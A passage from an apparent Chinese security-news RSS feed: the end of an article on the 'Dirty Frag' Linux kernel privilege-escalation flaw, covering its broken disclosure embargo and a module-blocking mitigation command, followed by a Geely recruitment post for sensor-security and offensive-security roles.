63);font-weight: bold;">确定性的逻辑 Bug，</span>不需要竞争条件，不依赖任何时间窗口，就算利用失败也不会触发内核崩溃——成功率极高。”</span></p></div></div><div style="box-sizing: border-box;"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5625579240037072" data-s="300,640" data-type="gif" data-w="1079" type="block" data-imgfileid="311131013" src="https://wechat2rss.xlab.app/img-proxy/?k=45aaa1bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K1Hjbx45n6nwKC3mpFbC5kN1UXiaDjMQAbOXDr6bLE2F6pxVnHEgCkNAqHc9y1FkNaOkIGtLAqVHq3mX0ibc21aqPNHLu8mlHddM%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">换句话说，这个漏洞使用起来几乎不需要运气。对攻击者来说，这并非一个需要反复尝试的机会性漏洞，而是一个可靠、稳准的提权工具。</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(0deg, rgba(4, 4, 4, 0.16) 13%, rgba(4, 4, 4, 0.04) 88%);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(4, 4, 4);align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">披露一波三折</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131007" src="https://wechat2rss.xlab.app/img-proxy/?k=d1574641&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K2Vo1Ccs8zmHLcWlV7qiaKKJYDKjYjzSicpImqcsdYrzByIMfQ0ibzyNpON2g3KSk9LBibpBQfva1feDPSDHSh18ty7tV1h8yq8m8A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">按照安全社区的协作规范，这类高风险漏洞通常会有一段禁运期，以便厂商准备补丁。但意外发生了：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">- 2026 年5月7日，一名无关的第三方独立公开了该漏洞的利用代码。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">- 禁运自此被打破，补丁和 CVE 都还来不及建立。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">- Kim 在与</span><em style="box-sizing: border-box;"><span leaf="">linux-distros@vs.openwall.org</span></em><span leaf="">的维护者协商后，应其请求，将完整文档和 PoC 公开发布。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">这意味着在官方修复到来之前，公开的利用代码已经存在，留给攻击者的窗口期大幅缩短。</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(0deg, rgba(4, 4, 4, 0.16) 13%, rgba(4, 4, 4, 0.04) 88%);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(4, 4, 4);align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">紧急缓解措施</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131005" src="https://wechat2rss.xlab.app/img-proxy/?k=8a5aaa0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K3zxw7IzNOAC05Fp6NKDWAwKpp274lcHwjrdOzG3hEuzt1QRHYChZ0hg4iaySQW1EsXmz6kr6qpAT7meDVV8mAAlYO4M4ltadhg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">在正式补丁出现前，系统管理员可以通过手动移除有问题的内核模块来临时抵御攻击。执行以下命令即可：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="swift"><code><span leaf="">bash</span></code><br/><code><span leaf="">sh <span class="code-snippet__operator">-</span>c <span class="code-snippet__string">&#34;printf &#39;install esp4 /bin/false</span><span class="code-snippet__string"><span class="code-snippet__subst">\n</span></span><span class="code-snippet__string">install esp6 /bin/false</span><span class="code-snippet__string"><span class="code-snippet__subst">\n</span></span><span class="code-snippet__string">install rxrpc /bin/false</span><span class="code-snippet__string"><span class="code-snippet__subst">\n</span></span><span class="code-snippet__string">&#39; &gt; /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2&gt;/dev/null; true&#34;</span></span></code><br/></pre></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">这条命令会阻止 esp4、esp6 和 rxrpc 模块加载，并尝试立刻卸载它们。但请注意：这会<span textstyle="" style="font-weight: bold;">导致 IPsec VPN 和 AFS 分布式网络文件系统无法正常工作</span>。执行前务必确认业务环境中是否依赖这些功能。</span></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-image: linear-gradient(0deg, rgba(4, 4, 4, 0.16) 13%, rgba(4, 4, 4, 0.04) 88%);box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;border-style: solid;border-width: 0px 0px 1px 4px;border-color: rgb(4, 4, 4);align-self: flex-end;margin: 0px;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 0px 0px 2px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">Linux 内核提权漏洞接连不断</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: bottom;width: 34px;align-self: flex-end;flex: 0 0 auto;height: auto;padding: 0px;box-sizing: border-box;"><div style="transform: perspective(0px);-webkit-transform: perspective(0px);-moz-transform: perspective(0px);-o-transform: perspective(0px);transform-style: flat;box-sizing: border-box;"><div style="margin: 0px;line-height: 0;transform: rotateX(180deg) rotateY(180deg);-webkit-transform: rotateX(180deg) rotateY(180deg);-moz-transform: rotateX(180deg) rotateY(180deg);-o-transform: rotateX(180deg) rotateY(180deg);box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 20px;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8518518518518519" data-s="300,640" data-type="png" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131004" src="https://wechat2rss.xlab.app/img-proxy/?k=64747dad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K1KUTNNLibCaUuKpFPG2kakp35bVicdpbicLZTeTz9gWsjcJz06CfvPPHaw31x21KkXkbxYZI5dia7fmRZPX6UxQX20aJOO1pGuC4E%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">近期的 Linux 内核安全态势简直可以用“连环炸”来形容：</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">- Copy Fail：同样为 root 提权漏洞，目前正处于活跃利用阶段。美国 CISA 已将其列入已知利用漏洞目录，并勒令联邦机构在5月15日前完成修复。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">- Pack2TheRoot：今年4月刚刚修补的又一个提权漏洞，在 PackageKit 守护进程中潜伏了整整十年才被发现。</span></p><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">攻击者手中有多个可供选择的内核提权工具，这无疑给企业防御带来了更大压力。</span></p></div><div style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;"><div style="border: 1px solid rgb(4, 4, 4);padding: 3px;box-sizing: border-box;"><div style="border-color: rgb(4, 4, 4);border-width: 3px;border-style: solid;padding: 10px;box-sizing: border-box;"><div style="text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;text-align: left;"><span leaf="">Dirty Frag 的重重特性——零日、无补丁、利用代码已公开、影响范围极广——让它成为眼下 Linux 生态最严重的安全威胁之一。运维人员需要尽快评估自身环境，短期内可考虑应用上述模块屏蔽方案，并持续关注发行版厂商的正式安全更新。</span></p></div></div></div></div><div style="box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf=""><span textstyle="" style="letter-spacing: normal;color: rgb(136, 136, 136);font-style: italic;">资讯来源：安全研究员 Hyunwoo Kim 公开发布的技术文档、BleepingComputer 相关报道。</span></span></p></div><div style="line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131006" src="https://wechat2rss.xlab.app/img-proxy/?k=eaf8030e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K2HZD8KYGqHU5Z2mRMeqzDrVyicsVfYQ5a6tKFiaPviaTLCiayNjKbceb6icEODhOEj8icoP4eRia6pZfoTXPiag7ibZXibogYvM3ZpAIeqs%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 20%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131008" src="https://wechat2rss.xlab.app/img-proxy/?k=890342f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K3czstMhl2BViclaGcbRsu9U4cgcZRsoGDE7rRMflwpibAgya6FF1sicwfp6TOXznfpicuC6tClnJrYdpTuDkY2ksgOmYyFnzQ8m60%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="font-size: 12px;text-align: justify;box-sizing: border-box;"><p style="text-align: center;white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球分享</span></strong></p></div></div><div style="display: inline-block;vertical-align: top;width: 80%;align-self: flex-start;flex: 0 0 auto;box-sizing: border-box;"><div style="text-align: right;justify-content: flex-end;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131011" src="https://wechat2rss.xlab.app/img-proxy/?k=e69a20da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K1ClYN27cxud0MWzjO166mUiaLXm0bxvtUbBMS4UicxuCKyIomP9nGZZicyrUC7jG73QWV6UR1Hiajw1sIsYYzhOAUdd0VkibRCQ9zg%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球点赞</span></strong></p></div></div></div><div style="display: inline-block;vertical-align: top;width: 23%;flex: 0 0 auto;height: auto;align-self: flex-start;box-sizing: border-box;"><div style="text-align: center;margin: 0px 0%;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 40%;height: auto;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8808777429467085" data-s="300,640" data-type="gif" data-w="638" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131010" src="https://wechat2rss.xlab.app/img-proxy/?k=c2f37044&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCpo2XCpI7K3MILWibYCF4VOD5S2ILjeaVqIWs3CXNfExexWndibXViazOcTSZIF8ZlRAxUaxgDy56xXn0GRApSFshxunpD4IrcHVo7UiapECYWY%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div><div style="margin: 3px 0% 0px;box-sizing: border-box;"><div style="font-size: 12px;text-align: center;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">球在看</span></strong></p></div></div></div></div></div></div><div style="box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: 10%;box-sizing: border-box;"><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.696" data-s="300,640" data-type="gif" data-w="500" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311131012" src="https://wechat2rss.xlab.app/img-proxy/?k=4712f3e9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_gif%2FCpo2XCpI7K20FKHHxo7sPibBAK4BscKFoEhRTIibT3Ug5F7KNJVE63n3Xnic9Ff6f51oEEKGHpwkdlxOUWK3nGdapK5zKZle0vqjLs11cX4sqw%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p></div></div><div style="display: inline-block;vertical-align: top;width: 90%;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="margin: 10px 0% 0px;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><span style="font-size: 14px;box-sizing: border-box;"><span leaf="">点击阅读原文查看更多</span></span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="10000"></mp-style-type></p>


<p><a href="https://www.kanxue.com/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=04cf310d&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMjM5NTc2MDYxMw%3D%3D%26mid%3D2458614670%26idx%3D1%26sn%3D364bd9c47201a3c4b46f3ab61839a403">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 08 May 2026 17:59:00 +0800</pubDate>
    </item>
    <item>
      <title>夯爆了！薪资最高70k，企业直招一键投递</title>
      <link>https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458614670&amp;idx=2&amp;sn=faeae0a3c965268c65cc294ccdf7c81b</link>
      <description>技术岗直投</description>
      <content:encoded><![CDATA[<p><span>看雪招聘</span> <span>2026-05-08 17:59</span> <span style="display: inline-block;">上海</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=5def7267&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K38DALkxBgp5ziabjNMnhtcicFBh1rpOfdoZfK2opkZ0xbvZLtk7Aunia5txwPrUdqDib7eat9G16S9y8aExWN6r6nictVOvDdFkG7s%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>技术岗直投</p>
  <div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);"><div style="text-align: center;line-height: 1;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本周招聘专场上线！</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">多家网安头部企业直招</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">覆盖传感器安全、逆向分析、内核开发等方向</span></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">扫码查看岗位，一键投递</span></p></div><div style="text-align: center;margin-top: 10px;margin-bottom: 10px;line-height: 0;box-sizing: border-box;"><p style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 100%;box-sizing: border-box;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.26296296296296295" data-s="300,640" data-type="jpeg" data-w="1080" style="vertical-align: middle;max-width: 100%;width: 100%;box-sizing: border-box;" data-imgfileid="311130976" src="https://wechat2rss.xlab.app/img-proxy/?k=f3ac3e53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K1nrnkraWfOwznqLAMRSzpIDoFAyyoqHw4pYakGXF5JZDmibUGN0CfqpyTpP1L2n939SuRcYmaT6MM0aNVTdUkLXIkGMaFFW87E%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p></div><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 10px 0px;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;background-color: rgb(246, 246, 246);border-radius: 7px;overflow: hidden;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><div style="justify-content: flex-start;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: bottom;width: auto;align-self: flex-end;flex: 0 0 auto;background-color: rgb(39, 47, 223);min-width: 5%;max-width: 100%;height: auto;padding: 3px 8px;border-top-left-radius: 7px;border-bottom-right-radius: 7px;overflow: hidden;margin: 0px;border-bottom-left-radius: 7px;box-sizing: border-box;"><div style="text-align: center;margin: 4px 0px;box-sizing: border-box;"><div style="color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">01</span></b></p></div></div></div></div></div><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 13px 0px 5px;box-sizing: border-box;"><div style="text-align: justify;box-sizing: border-box;"><p style="white-space: normal;margin: 0px;padding: 0px;box-sizing: border-box;"><b style="box-sizing: border-box;"><span leaf="">吉利汽车研究院（宁波）有限公司</span></b></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">传感器物理安全专家</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：60-70k</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：宁波</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-1"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">研究针对各类传感器的攻击手段，如光学干扰、激光雷达lidar攻击、GPS欺骗，毫米波雷达，超声波雷达等智驾相关传感器的干扰和欺骗攻击等；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">设计并实施传感器安全测试方案，评估其抗干扰与抗攻击能力；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">研发多传感器数据融合下的异常检测与安全防护算法；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;line-height: 1.6em;"><span leaf="">与传感器供应商协作，推动从实车，零部件硬件到固件的安全增强。</span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位要求：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">本科及以上学历，通信工程、无线电、计算机科学、人工智能、信息安全、嵌入式等相关专业。工作年限5年以上，有行业知名安全或科技公司工作经验优先。熟悉自动驾驶系统原理，熟悉常见的L2,L3和L4自动驾驶传感器组合方案，了解各类传感器的工作机制、数据格式与优缺点；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">具备信号处理、嵌入式安全或相关领域的知识背景；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">有硬件逆向、信号分析或物理层安全研究经验者优先；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">动手能力强，能搭建实验环境进行攻击与防御验证。</span></p></li></ul></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;margin: 10px 0px 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;padding: 0px 0px 0px 10px;box-sizing: border-box;"><div style="text-align: center;justify-content: center;display: flex;flex-flow: row;margin: 0px;box-sizing: border-box;"><div style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;align-self: center;box-sizing: border-box;"><div style="text-align: left;box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">安全攻防专家</span></strong></p></div></div><div style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;background-color: rgb(39, 47, 223);padding: 0px 5px;margin: 0px 0px 0px 5px;box-sizing: border-box;"><div style="text-align: left;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">薪资：60-70k</span></strong></p></div></div></div></div></div><div style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row;box-sizing: border-box;"><div style="display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 100 100 0%;border-style: solid;border-width: 0px 0px 0px 1px;border-left-color: rgba(39, 47, 223, 0.51);height: auto;margin: 0px 0px 0px 8px;padding: 9px 16px 9px 20px;box-sizing: border-box;"><div style="margin: 0px;box-sizing: border-box;"><div style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">就职地点：</span></strong><strong style="box-sizing: border-box;"><span leaf="">宁波</span></strong></p><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">岗位职责：</span></strong></p><ul style="list-style-type: disc;box-sizing: border-box;padding-left: 20px;list-style-position: outside;" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">以攻击视角针对公司的产品、网络、设备进行全方位安全评估；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">负责高危漏洞挖掘，包括但不限于逆向分析、无线电攻击、漏洞挖掘、渗透测试；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">研究车辆相关的攻击面，不限于软件、应用、app、云端、无线电、AI等；</span></p></li><li style="box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><span leaf="">撰写高质量研究报告、专利或技术博客，参与BlackHat、DEFCON等行业会议，代表团队输出。</span></p></li></ul><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: 